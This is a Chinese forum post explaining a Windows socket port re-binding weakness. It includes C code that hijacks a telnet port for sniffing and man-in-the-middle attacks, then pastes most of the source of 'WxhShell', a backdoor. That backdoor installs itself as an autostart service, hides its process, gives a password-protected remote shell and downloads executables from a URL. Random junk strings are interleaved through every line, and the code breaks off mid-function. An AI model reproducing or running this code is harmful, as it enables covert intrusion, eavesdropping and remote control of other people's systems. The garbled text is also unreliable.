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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \7|s$ XQ\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &z./4X  
gUks O!7^1  
  saddr.sin_family = AF_INET; r0~7v1rG  
Hi9 G^Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wlm3~B\64  
K~7'@\2 ?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @#bBs9@gv  
0|WOReskK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R=2 gtW"r  
1.hOE>A%  
  这意味着什么?意味着可以进行如下的攻击: C\;;9  
i;E9Za W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;s}-X_O<  
vG'vgUo  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NTv#{7q  
/ e~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I T*fjUY&  
V/QTYy1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d+gk q\  
[+ %p!T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }0k"Sw X  
9b{g+lMZo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 EGQ1l i'B  
ANA2S*r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J ,Qy`Y B  
Y-}hNZn"{  
  #include Q1N,^71  
  #include ZaEBdBv  
  #include &(z8GYBr  
  #include    :kf3_?9rc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,iA2s i  
  int main() Og&0Z)%  
  { @O  @|M'  
  WORD wVersionRequested; C%x(`S^/  
  DWORD ret; U 8qKD  
  WSADATA wsaData; F M@W>+  
  BOOL val; 0{{p.n8a~  
  SOCKADDR_IN saddr; xX/Qoq (}i  
  SOCKADDR_IN scaddr; W #JVUGYD  
  int err; hc@;}a\Y  
  SOCKET s; 2WbZ>^:Nsk  
  SOCKET sc; skmDsZzw  
  int caddsize; `#IT24!  
  HANDLE mt; ^{6UAT~!R  
  DWORD tid;   I?:+~q}lZr  
  wVersionRequested = MAKEWORD( 2, 2 ); eAenkUBz6,  
  err = WSAStartup( wVersionRequested, &wsaData ); ]0/~6f  
  if ( err != 0 ) { <O`q3u'l  
  printf("error!WSAStartup failed!\n"); YA8yMh*4D?  
  return -1; sDh6 Uk  
  } c,[qjr#\>  
  saddr.sin_family = AF_INET; ><Mbea=U+  
   .DV#-tUh  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {?h6*>-^Z  
o^.s!C%j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); JzS^9) &  
  saddr.sin_port = htons(23); (cqA^.Td  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #L1yL<'  
  { \`<s@U  
  printf("error!socket failed!\n"); |'l* $  
  return -1; H 29 _ /  
  } L>R!A3G1  
  val = TRUE; ~9{-I{=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fxf GJNR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) p%M(G#gOgP  
  { c9_4 ohB  
  printf("error!setsockopt failed!\n"); YM4U.! 4o  
  return -1; }M"'K2_Z  
  } s-YV_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `\/Wah}I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 khO<Z^wi[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击   !AD,  
a!6OE"?QQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b ffml  
  { )F9%^a(  
  ret=GetLastError(); P$#}-15?|_  
  printf("error!bind failed!\n"); {7MgN'4  
  return -1; w]}cB+C+l#  
  } 3 T#3<gqM[  
  listen(s,2); 4dD@lG~  
  while(1) "9Fv!*<-W  
  { fqp7a1qQl  
  caddsize = sizeof(scaddr); #| e5  
  //接受连接请求 *~aI>7H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }v|[h[cZ  
  if(sc!=INVALID_SOCKET) '&L   
  { z%-"' Y]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (fjXp75  
  if(mt==NULL) @eD~FNf-]  
  { dIh(~KqB  
  printf("Thread Creat Failed!\n"); V:$ 1o  
  break; q|Tk+JH{5  
  } @RG3*3(  
  } 7!d<>_oH  
  CloseHandle(mt); T?$?5  
  } Bf}0'MK8zQ  
  closesocket(s); o~z.7q  
  WSACleanup(); hCx#Heh  
  return 0; 9bYHb'70  
  }   6/[h24d  
  DWORD WINAPI ClientThread(LPVOID lpParam) u=N;P  
  { D2mAyU -  
  SOCKET ss = (SOCKET)lpParam; gA8 u E  
  SOCKET sc; iO#xIl<  
  unsigned char buf[4096]; YH6 K-}  
  SOCKADDR_IN saddr; y"n~ET}e7  
  long num; m*WEge*$t  
  DWORD val; 2/W0y!qh1  
  DWORD ret; @n y{.s+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1JY90l$ME  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RB 0j!H:  
  saddr.sin_family = AF_INET; J!qEj{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lIT2 AFX+  
  saddr.sin_port = htons(23); %JU23c*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KuAGy*:4T  
  { 8&AorYw[  
  printf("error!socket failed!\n"); iw6M3g#  
  return -1; m^&mCo,  
  } Gf$>!zXr  
  val = 100; IBHG1<3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;5S7_p2]j  
  { y")>"8H  
  ret = GetLastError(); [<yUq zm  
  return -1; %Y[/Ucdm  
  } lP &%5y;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w'j]Y%  
  { }|,\ ?7,  
  ret = GetLastError(); 8i~'~/x  
  return -1; z?g4^0e  
  } PhL5EYn  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) */qc%!YV9  
  { ijSYQ  
  printf("error!socket connect failed!\n"); Rla*hc~  
  closesocket(sc); rW .0_*  
  closesocket(ss); 0|k[Wha#  
  return -1; $G.|5sEk  
  } f)fw87UPc  
  while(1) D($UbT-v  
  { 1Vvx@1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @Kb~!y@G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^W*)3;5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TW? MS em  
  num = recv(ss,buf,4096,0); ;0{*V5A  
  if(num>0) 6XqO' G  
  send(sc,buf,num,0); y$W3\`2q  
  else if(num==0) uv d>  
  break; H*<dte<  
  num = recv(sc,buf,4096,0); 2)]*re)  
  if(num>0) e6a8ad  
  send(ss,buf,num,0); "Vy\- ^  
  else if(num==0) #J9XcD{1  
  break; |EA1+I.&x  
  } jl7-"V>j?;  
  closesocket(ss); 8`<GplO  
  closesocket(sc); XAkl,Y  
  return 0 ; S}yb~uc,  
  } EPfVS  
breVTY7 S  
yx4c+(J^8  
========================================================== ;pYk+r6Cr  
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下边附上一个代码,,WXhSHELL (CwaO m{g  
8=VX` X  
========================================================== s^< oU  
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#include "stdafx.h" @[lr F7`o  
WR%iUO40  
#include <stdio.h> b9jm= U  
#include <string.h> 21Opx~T3  
#include <windows.h> .$;GVJ-:5  
#include <winsock2.h> 1Zzw|@#>o  
#include <winsvc.h> tcZ~T  
#include <urlmon.h> C5?M/xj  
,@MPzpH  
#pragma comment (lib, "Ws2_32.lib")  }P#gXG  
#pragma comment (lib, "urlmon.lib") kdq55zTc<6  
+/'jX?7x%  
#define MAX_USER   100 // 最大客户端连接数 $cedO']  
#define BUF_SOCK   200 // sock buffer G@2M&0'  
#define KEY_BUFF   255 // 输入 buffer ujedvw;sO  
$fO*229As  
#define REBOOT     0   // 重启 =lnz5H  
#define SHUTDOWN   1   // 关机 A>k;o0r  
-fv.ByyA  
#define DEF_PORT   5000 // 监听端口 VdgPb (  
R _%pR_\  
#define REG_LEN     16   // 注册表键长度 /zM7G?y  
#define SVC_LEN     80   // NT服务名长度 h9mR+ng*oD  
6fiJ' j@  
// 从dll定义API dLq!t@?iu>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k-/$8C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C}Q2UK-:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FdD'Hp+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mdd~B2"el  
`N0E;=g  
// wxhshell配置信息 /uWON4  
struct WSCFG { [iD!!{6+  
  int ws_port;         // 监听端口 `:&{/|uP7  
  char ws_passstr[REG_LEN]; // 口令 _rv_-n]"o  
  int ws_autoins;       // 安装标记, 1=yes 0=no SzDi= lY  
  char ws_regname[REG_LEN]; // 注册表键名 rm7UFMCR6i  
  char ws_svcname[REG_LEN]; // 服务名 C/JFg-r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *MNY1+RJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hI yfF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,yoT3_%P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \a#2Wm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sq%f%?(V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GUxhCoxb  
*,(`%b[  
}; #{(rOb6H)  
l6~eb=u;9g  
// default Wxhshell configuration k`d  
struct WSCFG wscfg={DEF_PORT, AG?oA328  
    "xuhuanlingzhe", [": x  
    1, 7Vi[I< *  
    "Wxhshell", 8447hb?W$  
    "Wxhshell", nsPM`dz/  
            "WxhShell Service", #S"=)BZ8L  
    "Wrsky Windows CmdShell Service", Je/R'QP^8  
    "Please Input Your Password: ", ^%nAx| 4xQ  
  1, JkKI/ 5h  
  "http://www.wrsky.com/wxhshell.exe", j<c_*^/'9  
  "Wxhshell.exe" o{qbbJBC  
    }; 8WvT0q>]  
w/&#UsEIr  
// 消息定义模块 J-U}iU|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FY'f{gD^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TCVJ[LbJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >7n(* M  
char *msg_ws_ext="\n\rExit."; g {00i  
char *msg_ws_end="\n\rQuit."; i}!CY@sW  
char *msg_ws_boot="\n\rReboot..."; 'F@'4[uda  
char *msg_ws_poff="\n\rShutdown..."; 76 y}1aa  
char *msg_ws_down="\n\rSave to "; 6wGf47  
gw H6r3=y(  
char *msg_ws_err="\n\rErr!"; 51~:t[N|  
char *msg_ws_ok="\n\rOK!"; n7 S[ F3  
qZ4DO*%b3  
char ExeFile[MAX_PATH]; Q$3%aR-2  
int nUser = 0; oOuWgr]0  
HANDLE handles[MAX_USER]; *_ "j"{  
int OsIsNt; /t816,i  
[j5L}e!T  
SERVICE_STATUS       serviceStatus; Q@2Smtu~c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |[*b[O 1W  
[g<JP~4]  
// 函数声明 K\uR=L7  
int Install(void); 8^O|Aa$IF:  
int Uninstall(void); (mv8_~F0  
int DownloadFile(char *sURL, SOCKET wsh); zgLm~  
int Boot(int flag); _Ab|<!a/R  
void HideProc(void); =|H/[",gg  
int GetOsVer(void); NbSwn}e_  
int Wxhshell(SOCKET wsl); y$!~</=b  
void TalkWithClient(void *cs); E}~ GXG  
int CmdShell(SOCKET sock); 4re^j4L~o  
int StartFromService(void); Oq[tgmf  
int StartWxhshell(LPSTR lpCmdLine); 4-s Uy  
9=:!XkT.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pZXva9bE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ibEQ52  
0rF{"HM~  
// 数据结构和表定义 gQ& FO~cr  
SERVICE_TABLE_ENTRY DispatchTable[] = kFeuKSa^d  
{ |06G)r&  
{wscfg.ws_svcname, NTServiceMain}, p VLfZ?78  
{NULL, NULL} p=T]%k*^h#  
}; rNdap*.  
qL(Qmgd  
// 自我安装 UL(#B TK  
int Install(void) gzxLHPiw  
{ B|#"dhT  
  char svExeFile[MAX_PATH]; xCGvLvFn  
  HKEY key; ._#|h5  
  strcpy(svExeFile,ExeFile); {~VgXkjsC  
(C1]R41'  
// 如果是win9x系统,修改注册表设为自启动 bq]af.o*  
if(!OsIsNt) { )0YMi!&j`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s<tdn[d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "|(+~8[  
  RegCloseKey(key); `O-$qT, _  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YaDr6)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6*Rz}RQ  
  RegCloseKey(key); A6= Um%T  
  return 0; 5) nm6sf  
    } [T.kwQf4$  
  } #X`j#"Ov2(  
} ^|(F|Z  
else { }"E?#&^  
X^7bOFWE  
// 如果是NT以上系统,安装为系统服务 wYPJji D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sm{idky)[  
if (schSCManager!=0) |s+y]3-_  
{ PohG y  
  SC_HANDLE schService = CreateService FlttqQQdf  
  ( [YLaR r  
  schSCManager, 5F18/:\n  
  wscfg.ws_svcname, "oz qfh  
  wscfg.ws_svcdisp, +m^ gj:yL  
  SERVICE_ALL_ACCESS, XnV*MWv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  W^Wr  
  SERVICE_AUTO_START, H_un3x1  
  SERVICE_ERROR_NORMAL, $_onSYWr  
  svExeFile, M|w;7P}  
  NULL, o+ r?N5  
  NULL, [2"a~o\  
  NULL, eF823cH2x_  
  NULL, z1{kZk  
  NULL !uLz%~F  
  ); IQAV`~_G  
  if (schService!=0) 5hF iK K7  
  { m0DD|7}+  
  CloseServiceHandle(schService); j'R{llZW  
  CloseServiceHandle(schSCManager); ycz6-kEp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g 4G&  
  strcat(svExeFile,wscfg.ws_svcname); *<c, x8\s9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /zJDQ'k0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9)9p<(b $  
  RegCloseKey(key); mnh>gl!l  
  return 0; &mXJL3iN  
    } gi\2bzWkbX  
  } XHKiz2Pc1  
  CloseServiceHandle(schSCManager); w\ 4;5.$  
} 1zqIB")s>  
} R/Y9t8kk  
z~fZg6  
return 1; _IYd^c  
} pBl'SQccp  
wFI2 (cQ  
// 自我卸载 T;!: A  
int Uninstall(void) Aj#bhv  
{ R-QSv$  
  HKEY key; :59fb"^$  
6Y9FU  
if(!OsIsNt) { {| ~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Se~< Vpo  
  RegDeleteValue(key,wscfg.ws_regname); goBl~fqy0  
  RegCloseKey(key); G8AT] =  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y.vYT{^  
  RegDeleteValue(key,wscfg.ws_regname); l ld,&N8  
  RegCloseKey(key); nY y%=B|>  
  return 0; }9=X*'BO  
  } E/+H~YzO  
} fz>3  
} B\^myg4  
else { 9|BH/&$  
v<0\+}T1R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZW+M<G  
if (schSCManager!=0) [u*-~(  
{ WX~: Y,l+u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t"# .I?S0  
  if (schService!=0) ={~?O&Jh  
  { :)JIKP%$\)  
  if(DeleteService(schService)!=0) { skaPC#u  
  CloseServiceHandle(schService); M9~eDw'Pr  
  CloseServiceHandle(schSCManager); }`fFzb  
  return 0; M$J{clr  
  } ??5y0I6+  
  CloseServiceHandle(schService); ke\gzP/  
  } TwfQq`  
  CloseServiceHandle(schSCManager); = 1ltX+   
} &JUHm_wd&S  
} -ElK=q  
~?6M4!u   
return 1; ccR#<Pb6q  
} yV.E+~y  
J^w!?nk  
// 从指定url下载文件 u B~C8}  
int DownloadFile(char *sURL, SOCKET wsh) ;15 j\{r  
{ e};\"^H H  
  HRESULT hr; !&(^R<-id  
char seps[]= "/"; iVaCXXf'  
char *token; JX)%iJq#  
char *file; 3*(w=;y  
char myURL[MAX_PATH]; /`kM0=MMa  
char myFILE[MAX_PATH]; xcHuH -}  
?z pN09e  
strcpy(myURL,sURL); V|\dnVQ'-%  
  token=strtok(myURL,seps); E\Qm09Dj`<  
  while(token!=NULL) / biB *Z  
  { ~fF_]UVq3  
    file=token; '}5Yc,  
  token=strtok(NULL,seps); aam6R/4  
  } 1CmjEAv%/  
P:OI]x4  
GetCurrentDirectory(MAX_PATH,myFILE); t,]E5,1  
strcat(myFILE, "\\"); QKHAN{hJ  
strcat(myFILE, file); <rn26Gfr  
  send(wsh,myFILE,strlen(myFILE),0); q)f-z\  
send(wsh,"...",3,0); %G`GdG}T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aj`_* T"A  
  if(hr==S_OK) dCn'IM1  
return 0; qdNt2SO  
else b#[EkI 0@  
return 1; ,ZWaTp*D/  
0!tw)HR%  
} A(@VjXl  
y[A%EMd  
// 系统电源模块 PRi1 `% d  
int Boot(int flag) _&R lR  
{ gp(: o$  
  HANDLE hToken; %~rXJrK  
  TOKEN_PRIVILEGES tkp; [bh8Nj\E  
5fvY#6;  
  if(OsIsNt) { %] #XIr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o,gH*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a,ZmDkzuv  
    tkp.PrivilegeCount = 1; oYR OGU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3/s" ;Kg,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J^gElp  
if(flag==REBOOT) { |PxTm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [ BZA1,  
  return 0; vw)lD9-"  
} s9[54 7?`  
else { &xLCq&j 1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k0@*Up3{7  
  return 0; SUN!8 qFA  
} {?RVw`g&f  
  } N 9cCfB\`  
  else { M37GQvo   
if(flag==REBOOT) { A +41JMH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %CIRN}  
  return 0; g:eq B&&  
} bw8[L;~%_  
else { @8eQ|.q]Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1"wZ [.  
  return 0; %EE Q ^lm  
} ~A@HW!*Z@  
} LTw.w:"J  
H;c3 x"  
return 1; f!Mx +ky  
} )>;V72  
?k$'po*Eq  
// win9x进程隐藏模块 zVvL!  
void HideProc(void) /i)>|U 4  
{ N;S1s0FN  
v2jpao<K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $*+IsP!  
  if ( hKernel != NULL ) kp3%"i&hD  
  { { RC&Ub>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *CCh\+S7m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N|e#&  
    FreeLibrary(hKernel); <O0.q.  
  } ^v5<*uf%m  
@!Rklhb  
return; G| b I$   
} 722:2 {  
W1_.wN$,5  
// 获取操作系统版本 Zo< j"FG  
int GetOsVer(void) xmi@ XL@t  
{ 9Cz|?71  
  OSVERSIONINFO winfo; nc^DFP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *RM 3 _  
  GetVersionEx(&winfo); 5x"eM=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s#H_ QOE  
  return 1; C}qHvwFm  
  else 8d7 NESYl  
  return 0; \Oxyc}&  
} #z+?t  
G!+Mu2  
// 客户端句柄模块 Kay\;fXT  
int Wxhshell(SOCKET wsl) ZeqsXz  
{ b|-S;cw  
  SOCKET wsh; #$ 4g&8  
  struct sockaddr_in client; > f'aW  
  DWORD myID; "hk {"0E  
L'w]O -86  
  while(nUser<MAX_USER) WbwwI)1  
{ U$ 46=F|  
  int nSize=sizeof(client); szCB}WY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [RF6mWQ  
  if(wsh==INVALID_SOCKET) return 1; (K_{a+$[  
oFGWI#]ts>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5^K\<+{~B  
if(handles[nUser]==0) /0o#V-E)  
  closesocket(wsh); XZ@ |(_Z  
else h5(OjlMC  
  nUser++; M@o^V(j  
  } ,m8mh)K?0>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L5'?.9]  
CeeAw_*@  
  return 0; &$ud;r#  
} <_c8F!K)T  
*`8JJs0g  
// 关闭 socket !ewT#afyu(  
void CloseIt(SOCKET wsh) TbaZFLr  
{ }[R-)M  
closesocket(wsh); 0U~*uDU  
nUser--; ]6F\a= J  
ExitThread(0); 9w~SzpJ%  
} b]fx  
PfZS"yk  
// 客户端请求句柄 *AYq :n6  
void TalkWithClient(void *cs) b+|3nc!  
{ +<j7^AEG  
z DU=2c4W9  
  SOCKET wsh=(SOCKET)cs; *yaS^k\  
  char pwd[SVC_LEN]; <N1wET-  
  char cmd[KEY_BUFF]; Xjkg7p,HD@  
char chr[1]; &w#!   
int i,j; o<G#%9j  
x M(H4.<  
  while (nUser < MAX_USER) { R(`:~@ 3\6  
76wNZv) 9  
if(wscfg.ws_passstr) { nYFrp)DLK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ! 5NuFLOf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =E5bM_P<K  
  //ZeroMemory(pwd,KEY_BUFF); i'7+ ?YL  
      i=0; w4vV#C4X  
  while(i<SVC_LEN) { jx]P:]  
xC,x_:R`  
  // 设置超时 m3gv %h  
  fd_set FdRead; mL=d E Q  
  struct timeval TimeOut; qh:Bc$S  
  FD_ZERO(&FdRead); XzHR^^;u"*  
  FD_SET(wsh,&FdRead); u0c}[BAF  
  TimeOut.tv_sec=8; Jsysk $R  
  TimeOut.tv_usec=0; \gk.[={^P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1^4:l!0D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); viG,z4Zf  
!: ^q_q4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z*i p=FYR  
  pwd=chr[0]; iCE!TmDT  
  if(chr[0]==0xd || chr[0]==0xa) { eHuJFM  
  pwd=0; l!F$V;R  
  break; `o JQA$UD  
  } du66a+@t  
  i++; h 6Z:+  
    } MLu!8dgI  
XP:A"WK"  
  // 如果是非法用户,关闭 socket d )O^(y1r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S^eem_C  
} 6 Rl[M+Q  
1)56ec<c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /ce;-3+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lwr's'ao.  
94rSB}b.O  
while(1) { ->8Kd1^F  
P.'.KZJ:WD  
  ZeroMemory(cmd,KEY_BUFF); >u?.gJm~  
#i[:oC6m:  
      // 自动支持客户端 telnet标准   m&:&z7^p  
  j=0; R}ki%i5|  
  while(j<KEY_BUFF) { ;:P4~R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v Y0bK-  
  cmd[j]=chr[0]; Dfs*~H 63  
  if(chr[0]==0xa || chr[0]==0xd) { 7$'AH:K  
  cmd[j]=0; p~ b4TRvA6  
  break; ABN4kM>%  
  } Qt>K{ >9Cf  
  j++; RbAl_xKI  
    } >}+{;d  
C/e.BXA  
  // 下载文件 BNfj0e5b  
  if(strstr(cmd,"http://")) { Mu\V3`j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); um.ZAS_kmc  
  if(DownloadFile(cmd,wsh)) rwRZGd *p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q$E.G63Wl  
  else *;fTiL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (?jK|_  
  } 1dQAo1  
  else { A2|Bbqd  
79T_9}M  
    switch(cmd[0]) { >jW**F  
  .z>/A /&+  
  // 帮助 AxH;psj  
  case '?': { #a e@VedM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @t%da^-HS"  
    break; /5NWV#-  
  } 7Qd4L.  
  // 安装 T lXS}5^  
  case 'i': { f 2WVg;Z  
    if(Install()) !j6 k]BgZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tn7Mt7h  
    else 8<VDp Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /5,6 {R9  
    break; ef)RlzL Oq  
    } )s!A\a`vEd  
  // 卸载 G_F_TNO  
  case 'r': { K *@?BE  
    if(Uninstall()) F5*-HR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $H<_P'h-B  
    else PaTOlHr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {"p ~M7  
    break; x6/u+Urn  
    } )z7CT|h7S  
  // 显示 wxhshell 所在路径 7!M; ?Y  
  case 'p': { If&))$7u  
    char svExeFile[MAX_PATH]; {]IY; cL  
    strcpy(svExeFile,"\n\r"); h4n~V:nNm  
      strcat(svExeFile,ExeFile); C6e5*S  
        send(wsh,svExeFile,strlen(svExeFile),0); MV5$e  
    break; D[>:az `  
    } 3o rSk  
  // 重启 ui?@:=  
  case 'b': { _{o 3y"DZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b'O/u."O  
    if(Boot(REBOOT)) ~BI`{/O=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Dr\ O_`u  
    else { dw6ysOR@  
    closesocket(wsh); JrBPx/?(,;  
    ExitThread(0); / B!j`UK  
    } Y$OE[nGi%X  
    break; DcxT6[  
    } E?]$Y[KJKs  
  // 关机 @.L#u#   
  case 'd': { HL{aqT2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +P))*0(c_  
